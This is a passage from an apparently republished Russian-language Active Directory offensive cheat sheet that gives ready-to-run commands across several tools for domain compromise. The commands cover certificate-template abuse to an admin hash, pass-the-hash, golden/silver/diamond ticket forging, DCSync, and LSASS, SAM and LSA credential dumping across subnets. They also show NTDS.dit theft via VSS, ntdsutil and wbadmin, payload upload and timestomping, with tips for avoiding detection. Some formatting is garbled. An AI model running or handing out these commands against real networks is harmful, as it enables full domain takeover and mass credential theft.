python gettgtpkinit.py -cert-pfx targetuser.pfx -pfx-pass Password123
-dc-ip 192.168.1.1 DOMAIN/targetuser targetuser.ccache

PKINITtools — getnthash.py: TGT ccache + AS-REP enc key → NT hash

(run after gettgtpkinit.py; use the AS-REP key printed by that tool)

export KRB5CCNAME=targetuser.ccache python getnthash.py -key DOMAIN/targetuser

Full chain: certipy ESC1 → PFX → minikerberos UnPAC → NT hash → Titanis PTH

certipy req -username jdoe@DOMAIN -password Password123
-ca CA-NAME -template VulnerableTemplate
-upn [email protected]
-target ca.domain.local -out admin minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt Wmi exec 192.168.1.10 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### Продление тикета```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe

# MIT Kerberos
kinit -R
krenew -v -b -t

# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache

# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi

# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]

↑ Назад к оглавлению


Преобразование формата тикетов```bash

impacket

ticketConverter.py jdoe.ccache jdoe.kirbi ticketConverter.py jdoe.kirbi jdoe.ccache

Metasploit

msf6 > use auxiliary/admin/kerberos/ticket_converter msf6 auxiliary(ticket_converter) > run inputpath=jdoe.ccache outputpath=jdoe.kirbi

Metasploit — inspect ticket (optionally decrypt)

msf6 > use auxiliary/admin/kerberos/inspect_ticket msf6 auxiliary(inspect_ticket) > run ticket_path=jdoe.ccache nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

minikerberos

minikerberos-ccache2kirbi jdoe.ccache minikerberos-kirbi2ccache jdoe.kirbi jdoe.ccache minikerberos-ccacheedit list jdoe.ccache minikerberos-ccacheedit delete jdoe.ccache

Titanis — merge multiple files

Kerb select -From jdoe.ccache Kerb select -From jdoe*.kirbi -Into all-jdoe.ccache

gopacket — ccache ↔ kirbi conversion

ticketConverter jdoe.ccache jdoe.kirbi ticketConverter jdoe.kirbi jdoe.ccache

gopacket — inspect ticket contents

describeTicket /path/to/jdoe.ccache describeTicket /path/to/jdoe.kirbi

root@kitploit:~
[↑ Назад к индексу](#index)

---

### Смена пароля```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass

# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass

# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe

# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass

# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass

# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]

↑ Назад к индексу


Золотой / Серебряный билет

Статус Titanis: форжинг билетов не поддерживается. Используйте Metasploit auxiliary/admin/kerberos/forge_ticket (нативный Ruby) или impacket ticketer.py. ⚠️ В настоящее время подделанные билеты нельзя загрузить в Titanis через -Tgt — impacket кодирует субъекты служб TGT как NT_PRINCIPAL (тип имени 1), а Titanis ожидает NT_SERVICE_INSTANCE (тип имени 2); исправление ожидается от разработчика. Пока используйте KRB5CCNAME + impacket (wmiexec.py -k, smbclient.py -k) напрямую с подделанными билетами.```bash

Step 1 — obtain krbtgt hash via DCSync

secretsdump.py DOMAIN/Administrator:[email protected]
-just-dc-user DOMAIN/krbtgt | grep krbtgt

Step 1 alt — pypykatz DCSync

pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"
--username krbtgt

Step 2a — forge golden ticket (Metasploit)

msf6 > use auxiliary/admin/kerberos/forge_ticket msf6 auxiliary(forge_ticket) > run action=FORGE_GOLDEN domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<krbtgt_ntlm> username=Administrator

Step 2b — forge silver ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_SILVER domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<service_ntlm> username=Administrator
spn=cifs/fileserver.domain.local

Step 2c — forge diamond ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_DIAMOND domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator

Step 2d — forge sapphire ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_SAPPHIRE domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator

Step 2e — forge golden ticket (impacket)

ticketer.py -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator

Step 3 — use forged ticket with impacket (Titanis cannot load externally forged ccache files)

export KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DOMAIN/[email protected] "whoami" smbclient.py -k -no-pass DOMAIN/[email protected]

Silver ticket (impacket) — use with KRB5CCNAME + impacket

ticketer.py -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient.py -k -no-pass DOMAIN/[email protected]

Titanis — non-functional with forged tickets currently; shown for API reference only

(-Tgt rejects impacket ccache due to NT_PRINCIPAL vs NT_SERVICE_INSTANCE name type; fix pending)

Wmi exec dc01 -ha 192.168.1.1 -UserName Administrator -UserDomain DOMAIN \

-TicketCache Administrator.ccache "whoami"

Smb2Client ls \fileserver.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \

-TicketCache Administrator.ccache

gopacket — golden ticket (requires krbtgt NT hash and domain SID)

ticketer -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator export KRB5CCNAME=Administrator.ccache wmiexec -k -no-pass DOMAIN/[email protected] "whoami"

gopacket — silver ticket (service account NT hash)

ticketer -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient -k -no-pass DOMAIN/[email protected]

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

## 3. SMB / Файловые операции

### Список общих ресурсов```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares

# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'

# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"

# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ К оглавлению


Просмотр / Список файлов```bash

impacket

smbclient.py DOMAIN/jdoe:[email protected]

smbclient-ng

smbclient-ng -u jdoe -p Password123 --domain DOMAIN --host 192.168.1.10

aiosmb — interactive client (ls, cd, get, put, services, sessions, whoami, tasks built-in)

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

aiosmb — pass-the-hash

asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

Titanis

Smb2Client ls \192.168.1.10\Share -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — interactive SMB shell (ls, cd, get, put)

smbclient DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

smbclient -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### Загрузка файла```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'get Windows\System32\drivers\etc\hosts hosts.txt'

# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Назад к индексу


Скачивание с семантикой резервного копирования

Для заблокированных или защищённых файлов (NTDS.dit, куст SYSTEM и т. д.).```bash

Titanis

Smb2Client get \192.168.1.10\C$\Windows\NTDS\ntds.dit ntds.dit
-UserName jdoe -UserDomain DOMAIN -Password Password123 -UseBackupSemantics

root@kitploit:~
[↑ Назад к индексу](#index)

---

### Загрузить файл```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'put payload.exe Windows\Temp\payload.exe'

# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Назад к индексу


Создание / удаление каталогов и файлов```bash

impacket

smbclient.py DOMAIN/jdoe:[email protected]

smb: > mkdir Windows\Temp\newdir

smb: > rmdir Windows\Temp\newdir

smb: > del Windows\Temp\file.txt

smbclient

smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'mkdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'rmdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'del Windows\Temp\file.txt'

Titanis

Smb2Client mkdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rmdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rm \192.168.1.10\C$\Windows\Temp\file.txt -UserName jdoe -UserDomain DOMAIN -Password Password123

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### Список именованных каналов```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe

# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Назад к индексу


Pass the Hash — SMB```bash

impacket

smbclient.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

aiosmb

asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

Titanis

Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### SMB через SOCKS5```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]

# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"

# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"

# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Socks5 127.0.0.1:1080

↑ Назад к индексу


Перечисление открытых файлов / сессий```bash

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --sessions netexec smb 192.168.1.10 -u jdoe -p Password123 --loggedon-users

aiosmb — interactive client commands

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

smb> sessions

smb> files

Titanis

Smb2Client enumopenfiles \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client enumsessions \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — enumerate sessions and open files

netview DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

netview -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Назад к индексу](#index)

---

### Удалённое изменение временных меток файлов```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe

# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"

↑ Назад к оглавлению


Перечисление снимков VSS```bash

impacket — connect, switch to share, then enumerate snapshots

smbclient.py DOMAIN/jdoe:[email protected]

smb: > use c$

smb: \c$> list_snapshots

@GMT-2026.03.15-22.24.19

smbclient-ng

smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN snapshots C$

Titanis

Smb2Client enumsnapshots \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — ⚠️ list_snapshots not implemented in gopacket smbclient (feature request pending)

Use impacket smbclient.py or native smbclient for this step

root@kitploit:~
> **Доступ к путям моментальных снимков @GMT:** `@GMT-...` — это не реальный каталог: Windows SRV.SYS перехватывает токен в пути SMB2 CREATE и перенаправляет запрос к моментальному снимку VSS. Инструменты, которые обходят путь по компонентам (включая `Smb2Client get`), получат `STATUS_OBJECT_PATH_NOT_FOUND`. Используйте smbclient.py или родной smbclient, которые отправляют полный путь в одном запросе CREATE:
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
>   -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```

[↑ К оглавлению](#index)

---

### Перечисление альтернативных потоков данных NTFS (ADS)```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'allinfo Windows\Temp\file.txt'

# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  streams C$/Windows/Temp/file.txt

# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Назад к индексу


Перечисление сетевых интерфейсов сервера```bash

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --interfaces

smbclient-ng

smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN nics

Titanis

Smb2Client enumnics \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

root@kitploit:~
[↑ Назад к индексу](#index)

---

### Массовое перечисление общих ресурсов```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares

# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24

# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24

# Titanis
while IFS= read -r host; do
  echo "=== $host ==="
  smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
    -Password Password123 2>/dev/null
done < hosts.txt

↑ Назад к оглавлению


4. Сброс учетных данных

Разбор минидампа LSASS (офлайн)```bash

pypykatz — parse captured LSASS minidump

pypykatz lsa minidump lsass.DMP

Output to JSON

pypykatz lsa minidump lsass.DMP -o lsass_creds.json --json

Extract Kerberos tickets to ccache files (loadable via Titanis -TicketCache)

pypykatz lsa minidump lsass.DMP -k /tmp/kerberos_tickets/

Extract DPAPI masterkeys from LSASS memory

pypykatz lsa minidump lsass.DMP -o dpapi_keys.json

pypykatz — live LSASS dump + parse remotely over SMB (no minidump file needed)

pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

NetExec — remote LSASS dump via SMB

netexec smb 192.168.1.10 -u jdoe -p Password123 -M lsassy

root@kitploit:~
[↑ К оглавлению](#index)

---

### Дамп SAM-хэшей```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]

# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=SAM

# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  action=SAM

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam

# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam

# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
  -Password Password123 -BackupSemantics

↑ К оглавлению


Дамп секретов LSA```bash

impacket

secretsdump.py -lsa DOMAIN/jdoe:[email protected]

Metasploit

msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=Password123 action=LSA

Metasploit — pass-the-hash

msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
action=LSA

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --lsa

pypykatz — remote LSA secrets dump via SMB

pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --lsa pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --lsa

Titanis — requires -BackupSemantics; without it → ACCESS_DENIED

Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

root@kitploit:~
[↑ Назад к индексу](#index)

---

### Дамп SAM + LSA вместе```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]

# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=ALL

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa

# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"

# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"

# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam        192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

Назад к оглавлению


Массовый дамп SAM / LSA на хостах```bash

NetExec

netexec smb 192.168.1.0/24 -u jdoe -p Password123 --sam --lsa

NetExec — pass-the-hash

netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --sam --lsa

pypykatz — combined SAM + LSA + LSASS across a host list

while IFS= read -r host; do echo "=== $host ===" >> pypykatz_dump.txt pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:Password123@${host}"
>> pypykatz_dump.txt 2>&1 done < hosts.txt

Titanis

while IFS= read -r host; do echo "=== $host ===" | tee -a sam_dump.txt reg dumpsam "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> sam_dump.txt 2>&1 reg dumplsasecrets "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> lsa_dump.txt 2>&1 done < hosts.txt

root@kitploit:~
[↑ Back to Index](#index)

---

### Дамп NTDS через VSS Snapshot

> Запрашивает теневую копию VSS на DC и читает NTDS.dit + куст SYSTEM непосредственно из снимка. Не использует репликацию — полезно, когда DCSync заблокирован или отслеживается.

> **⚠️ Ограничение `-use-vss`:** `-use-vss` от secretsdump использует smbexec внутренне для запуска vssadmin и сбора вывода. Создание службы smbexec требует уровня аутентификации SVCCTL `PacketPrivacy`, который secretsdump не согласует — создание службы молча завершается сбоем, и выходной файл никогда не записывается. Вместо этого используйте `-use-remoteSSWMI -use-remoteSSWMI-NTDS`, что полностью обходит SVCCTL.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss

# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -exec-method wmiexec

# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-vss

# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -outputfile ntds_dump -user-status -pwd-last-set

# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI

# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss

# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss

# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled

# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123

# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM

# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'

# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

↑ Вернуться к оглавлению


Дамп NTDS через IFM (ntdsutil)

Использует ntdsutil ifm для создания набора Install-From-Media на контроллере домена — легитимная операция AD, которая создаёт копию NTDS.dit. В некоторых средах она менее заметна, чем VSS, поскольку ntdsutil — встроенный инструмент администрирования AD.

⚠️ Ограничение выполнения через WMI: ntdsutil требует SeBackupPrivilege и полную элевацию токена в выполняющемся процессе. Процессы, запущенные через WMI, не получают полностью повышенный токен даже для администратора домена — ntdsutil возвращает Access is denied независимо от учётных данных. Если выполнение через WMI не срабатывает, используйте secretsdump -use-remoteSSWMI -use-remoteSSWMI-NTDS или LOLBin diskshadow. Модуль NetExec -M ntdsutil может сработать через используемый по умолчанию метод выполнения на некоторых целевых системах.```bash

impacket — trigger ntdsutil via wmiexec, pull files, parse

⚠️ ntdsutil must be called by full path when invoked via WMI: C:\Windows\System32\ntdsutil.exe

wmiexec.py DOMAIN/Administrator:[email protected]
"ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q"

Wait for completion, then retrieve

smbclient.py DOMAIN/Administrator:[email protected]

smb: > get Windows\Temp\ifm\Active Directory\ntds.dit ntds.dit

smb: > get Windows\Temp\ifm\registry\SYSTEM SYSTEM

NetExec — ntdsutil module (handles exec + retrieval + parsing automatically)

netexec smb 192.168.1.1 -u Administrator -p Password123 -M ntdsutil

NetExec — ntdsutil module pass-the-hash

netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -M ntdsutil

Titanis — exec via WMI, retrieve via SMB, parse offline

⚠️ WMI process token elevation issue; may return Access is denied. Use diskshadow or -use-remoteSSWMI-NTDS instead.

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"C:\Windows\System32\ntdsutil.exe "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q" Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\Active Directory\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\registry\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123

Clean up

Smb2Client rmdir "\192.168.1.1\C$\Windows\Temp\ifm"
-UserName Administrator -UserDomain DOMAIN -Password Password123

Parse offline

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

root@kitploit:~
[↑ Назад к индексу](#index)

---

### Дамп NTDS через wbadmin (Windows Server Backup)

> `wbadmin` — это встроенный Windows LOLBin, который внутренне использует VSS для резервного копирования файлов в сетевую папку — без локального промежуточного хранения и без артефактов выполнения кода, кроме самой задачи резервного копирования. Работает для Backup Operators (DA не требуется). Требуется возможность записи в сетевую папку с контроллера домена.

> **⚠️ Требуется компонент Windows `WindowsServerBackup`.** Двоичный файл wbadmin присутствует как заглушка, даже если компонент не установлен — он зависнет или молча завершится сбоем. Перед попыткой убедитесь, что компонент активен: `Get-WindowsFeature WindowsServerBackup` (PowerShell) или `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. Если `InstallState` не равен `Installed`, этот метод не сработает.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""

